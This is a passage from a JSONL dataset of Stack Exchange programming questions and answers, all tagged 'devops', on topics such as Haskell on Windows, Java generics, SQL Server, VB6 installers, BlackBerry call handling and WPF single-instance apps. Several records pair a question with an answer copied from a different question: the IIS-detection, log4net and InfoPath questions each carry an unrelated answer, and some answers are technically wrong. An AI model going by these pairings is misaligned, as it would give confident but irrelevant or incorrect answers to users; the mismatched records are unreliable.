requestFocusInWindow();\n}\n```\n```\nFYI:\nFull-Screen Exclusive Mode API\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.715633"}
{"id": "hf_7da2179d6242", "question": "<p>Unfortunately I don't have access to a *nix box at work or at home.  The only way I can play with Haskell is on windows.  Anyone here using Haskell on Windows? What's your setup?</p>\n", "question_body": "", "answer": "GHC\nis a state-of-the-art, open source, compiler and interactive environment for the functional language Haskell.\nThere is a\nWindows installer for GHC\n, but it for Version 6.4.2 .\nA Windows\n```\n.exe\n```\n(not an\n```\n.msi\n```\ninstaller) for version 6.10.1 is at\nhttp://www.haskell.org/ghc/dist/6.10.1/\nIt is not clear when the current (GHC 6.10.1) version will offer a Windows installer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.740735"}
{"id": "hf_71ece422cad6", "question": "<p>Assuming the following class stub:</p>\n\n<pre><code>public class Foo&lt;T&gt; {\n  private Class&lt;T&gt; type;\n\n  public Foo&lt;T&gt; () {}\n}\n</code></pre>\n\n<p>Can I store the generic type <code>T</code> into the field <code>type</code> in the constructor, without changing the constructor's signature to \"<code>public Foo&lt;T&gt; (Class&lt;T&gt; type)</code>\"? </p>\n\n<p>If yes, how? If no, why?</p>\n\n<p>\"<code>type = T</code>\" doesn't seem to work.</p>\n", "question_body": "", "answer": "Does\n```\n```\ntype = T.getClass();\n```\n```\nwork?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.808039"}
{"id": "hf_fe5f2e3badaa", "question": "<p>I am trying to create a custom subclass of NSScroller. I have created the class, and set it as the vertical scroller on an NSScrollView in IB. When I run my project, the <code>drawRect:</code> method is called for my subclass, so I know that it is properly connected.</p>\n\n<p>Now, How do I change the width of my fancy new NSScroller? No matter what I do to its bounds and frame, it always wants to draw in a rectangle 15 pixels wide (the size of the default NSScroller).</p>\n", "question_body": "", "answer": "In your NSScroller subclass, you have to override scrollerWidth:\n```\n```\n+(CGFloat)scrollerWidth\n{\n    return 30.0;\n}\n```\n```\nThis is the value that NSScrollView uses to define the frame for your component when it sets it up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.831478"}
{"id": "hf_0ae8985d1a22", "question": "<p>The performance of a Direct3D application seems to be significantly better in full screen mode compared to windowed mode. What are the technical reasons behind this?</p>\n\n<p>I guess it has something to do with the fact that a full screen application can gain exclusive control for the display. But why the application cannot gain exclusive control for <em>part</em> of the screen (i.e. window) and have the same performance benefits?</p>\n", "question_body": "", "answer": "There's\na bit\non MSDN that says full screen mode uses buffer flipping, if set up correctly, as opposed to blitting. It makes sense.\nOf course you can (and in a way, do) give exclusive control for part of the screen to an application, but what happens to the rest of the screen? You still have to blit, do occlusion checking, etc. on the rest of the windows, and I think that's what causes the performance hit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.890050"}
{"id": "hf_f68efa3ca962", "question": "<p>i'm using vs installer to build a setup package for my vb6 app.\nand the problem is i can see that under the project explorer there's a list of dependencies attached to my exe file.</p>\n\n<p><a href=\"http://img505.imageshack.us/img505/9696/croppercapture259lr8.png\" rel=\"nofollow noreferrer\">alt text http://img505.imageshack.us/img505/9696/croppercapture259lr8.png</a></p>\n\n<p>and under the file system on target machine treeview, i can actually store the dll/ocx on a folder or in the windows system folder itself[the left window].</p>\n\n<p><a href=\"http://img101.imageshack.us/img101/9224/croppercapture251qm1.png\" rel=\"nofollow noreferrer\">alt text http://img101.imageshack.us/img101/9224/croppercapture251qm1.png</a></p>\n\n<p>so what i don't understand is .. is there actually a difference?\nif i just set the dependencies and didn't add the dll or ocx to the folder or win sys folder, does the dll automatically get copied over too?</p>\n", "question_body": "", "answer": "It is not guaranteed that all those dlls will be present on the system that the software is being installed on. So they need to be included in your installer. From there you have two choices.\nYou can install them in your windows system folders or in your application folder. The difference is that if you install them in your application folder you can set things up on XP and Vista so that the different version of the software with different version of the components can be fired up and run side by side. Installing them into the system folder will break any older version that depend on older version of the components.\nInstalling in the application folder rarely doesn't work if a component depends on other components that can't be updated. When this occurs it is usually with with Microsoft libraries. They have gotten better over the years on this issue.\nYou can read more about the issues involving side by side execution\nhere\nFinally the dependencies need to be in your installer so that they are registered in the Windows Registry. Unlike most .NET assemblies any ActiveX/COM application needs to have the component registered in order to use it even if you are using CreateObject and Variant types to access it.\nI will admit the whole process is idiosyncratic and is one of the sources for the stories about DLL Hell.  Start with the MSDN article, use wikipedia, and of course ask further questions here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.913734"}
{"id": "hf_a68f1daf934b", "question": "<p>Is there any free IDE for Pl/SQL development</p>\n", "question_body": "", "answer": "I personally like\nhttp://www.allroundautomations.nl/plsqldev.html\nQuite usefull for PL/SQL and Oracle in general. But not free.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:01.988035"}
{"id": "hf_7bb8d0f2bc33", "question": "<p>We often send emails in HTML for clients (Dont like it but not my choice)</p>\n\n<p>Does anyone have any info or a link on support for the dynscrc attribute or img in email clients?</p>\n", "question_body": "", "answer": "My solution here would be to have a screenshot (perhaps with a 'click to watch' overlay) of your movie that links to a non-mail page that has a player in it.\nDealing with html email, in my experience, isn't so much about having standards as it is learning to compromise.  Web client and (the increasingly rare) desktop clients have differing behaviors that make website browser compliance seem like preschool by comparison.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.085729"}
{"id": "hf_af232d6ef932", "question": "<p>With which version(s) of VS2008/VSTS can I work with .dbproj files?</p>\n", "question_body": "", "answer": "You can definitely use\nTeam Edition for Database Professionals\n.  The bad news is that it seems you\ncan only use this\nor of course the superset version\nTeam Suite\nbut that would set you back a lot for a team.\nIt would be nice if the whole team could edit these files without having to fork out for these expensive extra licenses.  On the plus side the dbproj projects can be\nbuilt using Team Build", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.135022"}
{"id": "hf_777f177b5d39", "question": "<p>Does using delegates slow down my programs?  </p>\n\n<p>I've been avoiding them because I really have no clue if they make my programs any slower.  I know if I cause a (catch) exception, that uses quite a bit of CPU power but I don't know about Delegates and Events and what .NET does to them.  </p>\n", "question_body": "", "answer": "Delegates are very, very fast. Not quite as fast as direct method calls, but not far off. The chances of them becoming a bottleneck are miniscule.\n(Likewise exceptions, when used properly,\nrarely actually cause a performance issue\n.)\nWould using delegates make your code simpler, more readable, and more robust? If so, use them. Measure your performance carefully, and keep an eye on it. Move away from readability for the sake of performance only when the data is clear.\nI'm sure there are some graphs around showing the speed of delegates vs interfaces vs non-virtual method calls etc - I don't know where they are, but you could always run tests yourself if you're really worried.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.160283"}
{"id": "hf_867af1313967", "question": "<p>Is it possible to use <a href=\"http://www.python.org/\" rel=\"nofollow noreferrer\">CPython</a> to develop Adobe Flash based applications?</p>\n", "question_body": "", "answer": "I guess it would be possible to compile the python interpreter to flash bytecode using this\nhttp://labs.adobe.com/downloads/alchemy.html\nand then use it to run python programs. But apart from that the answer is no.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.209729"}
{"id": "hf_981dc7a057ba", "question": "<p>What is JDBC and where can I start learning about?</p>\n\n<p>I know it's a way to access databases with Java, but what problems does it solve? Is it an ORM (or does it try to be)? Does it abstract away differences between databases, at the syntax level? What does it do? and what does it not do?</p>\n", "question_body": "", "answer": "No, JDBC isn't an ORM. It's the\nJava Database Connectivity\nAPI and basically it provides a database-agnostic access layer with a provider model (so that new database drivers can be added easily). Vendors can add more functionality for specific database features if they wish, but developers can ignore those features if they wish to work with multiple databases.\nThere's no mapping involved - just modeling for connections (and pools), prepared statements, stored procedures, result sets etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.234453"}
{"id": "hf_01c34fa29047", "question": "<p>I want to let the user draw on an image in a browser. In other words, I need <em>both</em> bitmapped graphics and drawing capabilities, whether vector or bitmapped.</p>\n\n<p>Canvas looks good, but is not supported by IE, and though there is ExCanvas, I wonder if ExCanvas is stable enough for consistent use in IE6 through 8.</p>\n\n<p>Or best of all, is there an open-source image/drawing library that supports all this out of the box? I found two dozen or so Web-based image editors or drawing tools, but none support the requirements. (And I'd like to avoid Flash/Flex/Silverlight/JavaFX.)</p>\n", "question_body": "", "answer": "Even though you said you'd like to avoid it I'd suggest Flash. You could easily use Flash 6 or 7 and these have a > 90% adoption rate. I'd be surprised if you could get that level of support with JavaScript. Flash is truly write once run anywhere, which will cut down on your development time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.284816"}
{"id": "hf_31cdbdf07758", "question": "<p>I receive some arguments into a stored procedure. These arguments are NVARCHAR's.</p>\n\n<p>I have a problem, when I need to cast some of these values to FLOATS, because they are being received as e.g.</p>\n\n<p>@VALUE1 NVARCHAR(100)</p>\n\n<p>DECLARE @ChangedValue\nSET @ChangedValue = CAST(@Value1 AS FLOAT)</p>\n\n<p>E.g. @Value1 = \"0,001\"</p>\n\n<p>Gives me a problem, as it expects \"0.001\"</p>\n\n<p>I can't change the format of the input, but can I somehow change it on the SQL-server side? By changing all \",\" to \".\" instead?</p>\n\n<p>Best regards, Kenn</p>\n", "question_body": "", "answer": "You could use\n```\n@VALUE1 = REPLACE(@VALUE1, ',', '.')\n```\nThis does seem a horrible thing to do though!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.321379"}
{"id": "hf_044601220549", "question": "<p>I am pulling data out of an old-school ActiveX in the form of arrays of doubles. I don't initially know the final number of samples I will actually retrieve.</p>\n\n<p>What is the most efficient way to concatenate these arrays together in C# as I pull them  out of the system?</p>\n", "question_body": "", "answer": "You can't append to an actual array - the size of an array is fixed at creation time. Instead, use a\n```\nList<T>\n```\nwhich can grow as it needs to.\nAlternatively, keep a list of arrays, and concatenate them all only when you've grabbed everything.\nSee\nEric Lippert's blog post on arrays\nfor more detail and insight than I could realistically provide :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.356964"}
{"id": "hf_04cad8a8a541", "question": "<p>Is there a way to detect whether IIS is enabled or not?</p>\n\n<p>I know how to check if it is INSTALLED, but I need to know if it's installed but not enabled.</p>\n\n<p>Also, can this be done natively via InstallShield?  Checking this via .NET would be acceptable as we can write custom actions, but if there is an IS call then that would be ideal.</p>\n\n<p>Any hints/tips are appreciated, thanks</p>\n", "question_body": "", "answer": "You can't append to an actual array - the size of an array is fixed at creation time. Instead, use a\n```\nList<T>\n```\nwhich can grow as it needs to.\nAlternatively, keep a list of arrays, and concatenate them all only when you've grabbed everything.\nSee\nEric Lippert's blog post on arrays\nfor more detail and insight than I could realistically provide :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.381011"}
{"id": "hf_66679ef55dc4", "question": "<p>Did you ever use SQL Server auditing features on a production db?</p>\n\n<p>How did that impact on performances, and are there differences you noticed between different versions of SQL Server.</p>\n\n<p>Also how we need to enable the audit features.</p>\n", "question_body": "", "answer": "I'm afraid there's no such a thing as \"audit feature\". Instead you need to build it yourself depending on what kind of requirements you have. There are many ways to do this, for example\nA trigger fires every time data in audited tables change. An example here:\nhttp://web.archive.org/web/20071006100909/http://sqlserver2000.databases.aspfaq.com:80/how-do-i-audit-changes-to-sql-server-data.html\nusing your ORM, with NHIbernate\nideas here:\nData Auditing in NHibernate and SqlServer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.427839"}
{"id": "hf_c0a355bc4148", "question": "<p>Forgive me for probably using the wrong term for this \"application mode\".</p>\n\n<p>Our application has a problem during start in that it doesn't show a task bar icon until the main window is up, even though there are loading progress windows, logon-windows, etc. on screen before that.</p>\n\n<p>We change the code to fix this, but unfortunately this fix, when running the app through citrix, now shows two icons, one with just the icon and no text.</p>\n\n<p>Is there a way for me to detect that the application is running through citrix? I don't know the right term for this, but only the app window is brought to the users desktop, not the whole remote desktop.</p>\n\n<p>If it matters, the app is written in Delphi.</p>\n", "question_body": "", "answer": "Not sure exactly how to do this in delphi, but if you can call out to the user32.dll, and call the function:\n```\n```\nif (GetSystemMetrics(SM_REMOTESESSION) != 0)\n{\n   // We are in a remote session\n}\n```\n```\nThis should tell you if you are running in a Citrix or Terminal Services environment.\nSM_REMOTESESSION is defined as:\n```\n```\n#define SM_REMOTESESSION        0x1000\n```\n```\nMore info on the GetSystemMetrics api here:\nLink to msdn\nEdit\nThe following page describes how to do exactly the above in delphi. What works for Terminal Services should also work for Citrix:\nIs your Delphi Application Running under Terminal Services as a Remote Session", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.463136"}
{"id": "hf_613b427cea17", "question": "<p>I'm writing this question in the spirit of answering your own questions, since I found a solution to the problem, but if anyone has a better solution I would gladly listen to it.</p>\n\n<p>In the application I am currently working on I am subclassing the ListView control to add some functionality of which some interacts with the ListView SelectedIndices and SelectedItems properties.</p>\n\n<p>The problem is that when I try to unit test my subclass, the SelectedIndices and SelectedItems properties does not update when I add items to the selection. I tried both </p>\n\n<pre><code>item.Selected = true\n</code></pre>\n\n<p>and </p>\n\n<pre><code>listView.SelectedIndices.Add(...)\n</code></pre>\n\n<p>But SelectedIndices or SelectedItems simply does not appear to be affected. The unit tests for the other parts of the functionality works fine.</p>\n\n<p>How can I unit test the selection dependent parts of my ListView subclass?</p>\n", "question_body": "", "answer": "The problem seems to be that the SelectedIndices and SelectedItems does not update properly if the ListView has not been drawn, as is stated in this comment from the MSDN documentation of the\nListViewItem.Selected property\n:\nThe Selected property cannot be trusted if your ListView has never been drawn (for example, it's in a TabControl, in a tab that has not been selected yet). In that case, the SelectedItems and SelectedIndices of the parent ListView are not correctly updated and will still be empty.\nOne solution to this problem is to create a simple dummy form class in your test, add the ListView to the form and simply show the form. After that the SelectedIndices and SelectedItems properties work as expected.\nSomething like this:\n```\n```\n[Test]\n    public void CanGetSelectedItems()\n    {\n        // simple test to make sure that the SelectedIndices\n        // property is updated\n        using (var f = new DummyForm(listView))\n        {\n            f.Show();\n\n            listView.SelectedIndices.Add(0);\n            Assert.AreEqual(1, listView.SelectedIndices.Count);\n        }\n    }\n\n    private class DummyForm : Form\n    {\n        public DummyForm(ListView listView)\n        {\n            // Minimize and make it not appear in taskbar to\n            // avoid flicker etc when running the tests\n            this.WindowState = FormWindowState.Minimized;\n            this.ShowInTaskbar = false;\n            this.Controls.Add(listView);\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.498670"}
{"id": "hf_95e8aaad0786", "question": "<p>I wish to set a usererror string before leaving a function, depending on the return code and variable in the function.</p>\n\n<p>I currently have:</p>\n\n<pre><code>Dim RetVal as RetType\n\ntry\n...\nif ... then\n    RetVal = RetType.FailedParse\n    end try\nendif\n...\n\nfinally\n    select case RetVal\n        case ...\n            UserStr = ...\n    end select\nend try\n\nreturn RetVal\n</code></pre>\n\n<p>Is it possible to use return RetType.FailedParse, then access this in the finally block?</p>\n", "question_body": "", "answer": "The only real way of doing this in C# would be to declare a variable at the start of the method to hold the value - i.e.\n```\n```\nSomeType result = default(SomeType); // for \"definite assignment\"\ntry {\n   // ...\n   return result;\n}\nfinally {\n    // inspect \"result\"\n}\n```\n```\nIn VB, you\nmight\nbe able to access the result directly - since IIRC it kinda works like the above (with the method name as \"result\") anyway. Caveat: I'm\nreally\nnot a VB person...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.521891"}
{"id": "hf_5c7d6076ac1a", "question": "<p>Is it good practice to have a unit test that specifies how long a certain function takes to return a value. I'm unit testing a curl function and want to specify that it needs to time out after 5 seconds. Is this in line with the way unit tests work?</p>\n", "question_body": "", "answer": "I don't think, that this is a test of the contract of the method. That's why I would say no, it's not an unit-test. But it sound like some sort of system-test.\nAnother point that disqualifies your example as unit-test is the fact, that it needs long time (5 seconds) to execute. Typically you should be able to execute the complete suite of unit-tests every time you do a change. You cannot wait long time.\nThat's why I think your test should be in another set of tests, than the unit-tests. It should be executed in your daily builds/continuous integration but not before every checkin from every programmer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.561067"}
{"id": "hf_3ec897756dc1", "question": "<p>I am wondering what is best practice when it comes to dependencies and how releases should be done. In my case I have a library that relies on log4net and I am wondering if I should distribute log4net.dll (set the log4net reference to copy local) along with the release? </p>\n\n<p>Could I simply state that log4net should be installed in the GAC?</p>\n", "question_body": "", "answer": "I don't think, that this is a test of the contract of the method. That's why I would say no, it's not an unit-test. But it sound like some sort of system-test.\nAnother point that disqualifies your example as unit-test is the fact, that it needs long time (5 seconds) to execute. Typically you should be able to execute the complete suite of unit-tests every time you do a change. You cannot wait long time.\nThat's why I think your test should be in another set of tests, than the unit-tests. It should be executed in your daily builds/continuous integration but not before every checkin from every programmer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.585135"}
{"id": "hf_190870235f02", "question": "<p>We have a number of very old data entry forms that were made in Access that link to our SQL Server database. Each form may have any number of sub-forms.</p>\n\n<p>We'd like to move away from using these access frontends but don't have the time to create a new app or web app to replace every form that we've got.</p>\n\n<p>Is there another option that would link to SQL Server and allow visual design of the form and automatic linkage to the database?</p>\n\n<p>Or if that's too much of an ask, can you think of a way to make hand-coding the forms easier?</p>\n", "question_body": "", "answer": "From experience, I don't think you will find any product, tool or technology any easier than Access for creating forms with a DB behind them.\nDo you have a copy of\nAccess Developer's Handbook\n?   In the past, I found this a valuable resource for implementing best practices in quite complex projects with Access as a front-end to SQL Server.\nIf you want to move to web forms, I would take a look at\nIronSpeed Designer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.679300"}
{"id": "hf_05ab67757862", "question": "<p>MS SQL has a convenient workaround for concatenating a column value from multiple rows into one value:</p>\n\n<pre><code>SELECT col1\n FROM table1\n WHERE col2 = 'x'\n ORDER by col3\n FOR XML path('')\n</code></pre>\n\n<p>and that returns a nice recordset:</p>\n\n<pre><code>XML_F52E2B61-18A1-11d1-B105-00805F49916B                                     \n---------------------------------------- \n&lt;col1&gt;Foo&lt;/col1&gt;&lt;col1&gt;Bar&lt;/col1&gt;\n</code></pre>\n\n<p>only the column name in the returned recordset is rather nasty!</p>\n\n<p>The column name seems to include random elements (or a GUID), and hence I am reluctant to use it in my application (different instances or different servers might have another GUID).  Unfortunately I cannot use * to select the value, and due to the restrictions in the existing application I cannot iterate through returned columns, either...</p>\n\n<p>Is there a way to force the column name in the returned recordset to something more sensible?</p>\n", "question_body": "", "answer": "That should do:\n```\n```\nselect(\nSELECT col1\n FROM table1\n WHERE col2 = 'x'\n ORDER by col3\n FOR XML path('')\n) as myName\n```\n```\nNot pretty but should give the result that you need", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.750246"}
{"id": "hf_7ed29976501b", "question": "<p>I was wondering if there was a way to tell if an instance of Oracle on a system has a database installed or not?</p>\n\n<p>This is for an installation script, and I need to verify that there is an actual database in place before proceeding with the loading of my own tablespace onto that database. Has anyone tackled this problem before?</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "You could use\n```\ntnsping\n```\nto check whether the database listener is active, that would be a good indication. Other than that, why not just simply do a test connection? If it's part of an installer process, you could prompt the user to enter the appropriate connection credentials if you don't know what they'll be in advance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.771756"}
{"id": "hf_83c0d21e49d2", "question": "<p>The web service endpoint usually is defined in an early stage of a project. Since it follows the \"contract first\" principle, it shouldn't be changed after communicated to client systems.</p>\n\n<p>Therefore, it is vital to label the web service in a good way.</p>\n\n<p>How would you label web services?</p>\n\n<p>e.g.</p>\n\n<pre><code>http://my.domain.com/businessProcess/services/concreteServiceName\n</code></pre>\n\n<p>Other ideas?</p>\n\n<p><strong>See this question as a poll... Feel free to vote for the best idea.</strong></p>\n", "question_body": "", "answer": "We decide on names by talking to the developers, business guys, and support guys. We formed a committee called the \"interface control committee\", and we approach it kind of like you described in the question. We want service names to be descriptive, reflect the processes they support, and fit the needs of the technical and business stakeholders.\nWhen we have ICC meetings, we also talk about schemas and how they should be developed. The business guys are key in this as well since they know what data they want to expose and why.\nKA", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.839146"}
{"id": "hf_ae35755c3240", "question": "<p>I have following situation:\nI have loged user, standard authentication with DB table </p>\n\n<pre><code>$authAdapter = new Zend_Auth_Adapter_DbTable(Zend_Db_Table::getDefaultAdapter()); \n$authAdapter-&gt;setTableName('users'); \n$authAdapter-&gt;setIdentityColumn('user_name'); \n$authAdapter-&gt;setCredentialColumn('password'); \n</code></pre>\n\n<p>When user edits his profile, I save it into Db, but I need to update also storage (using standard Zend_Auth_Storage_Session). Is there any easy way how to do it? Many thanks. </p>\n", "question_body": "", "answer": "I have done it like this, it works, but I don't know if there is not some better way,how to do it\n```\n```\n$user_data = User::getUser($user_id)->toArray();\nunset($user_data['password']);\n\n$std_user = new stdClass();\n\nforeach ($user_data as $key => $value)\n{\n   $std_user->$key = $value;\n}\n\n$auth = Zend_Auth::getInstance();     \n$auth->getStorage()->write($std_user);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.882974"}
{"id": "hf_7edd074ff01f", "question": "<p>We are currently creating an InfoPath 2007 form is deployed in SharePoint 2007. In the form we populate the repeating tables with more than 60 records. However, when we're submitting the form, an error message appears. Does the number of records in the repeating table affects the submitting of the form? Also provide some workaround to resolve the issue.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "I have done it like this, it works, but I don't know if there is not some better way,how to do it\n```\n```\n$user_data = User::getUser($user_id)->toArray();\nunset($user_data['password']);\n\n$std_user = new stdClass();\n\nforeach ($user_data as $key => $value)\n{\n   $std_user->$key = $value;\n}\n\n$auth = Zend_Auth::getInstance();     \n$auth->getStorage()->write($std_user);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:02.907543"}
{"id": "hf_bb520ec89fdd", "question": "<p>I'm trying to programmatically reject a call on a BlackBerry, with Java + JDE.\nI'm intercepting the <code>callIncoming</code> event, and in there I need to do something to reject a call from a specific number.</p>\n\n<p>Does anyone know how to do that?</p>\n", "question_body": "", "answer": "I couldn't find an API for directly rejecting the call in progress. However, you could explore a hack where you inject a keypress of the Hangup/Disconnect button (see\n```\nEventInjector\n```\n).\nAs to determining the phone number, you could use\n```\nPhone.getCall(callId).getDisplayPhoneNumber()\n```\nor\n```\nPhone.getActiveCall().getDisplayPhoneNumber()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.028355"}
{"id": "hf_750715fd701e", "question": "<p>I have a loader.exe with Main() that loads the 'UI' in WPF, the thing is that I want only one instance of the loader.exe, how can I achieve it? </p>\n\n<p>Is there a way a user clicks loader.exe it should check if an existing loader.exe is running and does nothing.</p>\n\n<p>currently I have </p>\n\n<p>loader.exe </p>\n\n<p>with </p>\n\n<pre><code>main() \n....\n..\nLoad UI\n...\n</code></pre>\n\n<p>the loader has no idea what its loading etc so I can't do many things with the loader project...</p>\n\n<p>Any help n code is highly appreciated</p>\n\n<p>Thanks in advance. </p>\n", "question_body": "", "answer": "Have a look at:\nhttp://yogesh.jagotagroup.com/blog/post/2008/07/03/Ways-of-making-a-WPF-application-Single-Instance.aspx\nAlso, you might find a more detailed answer in the following post here on StackOverflow:\nWhat is the correct way to create a single-instance application?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:03.098845"}
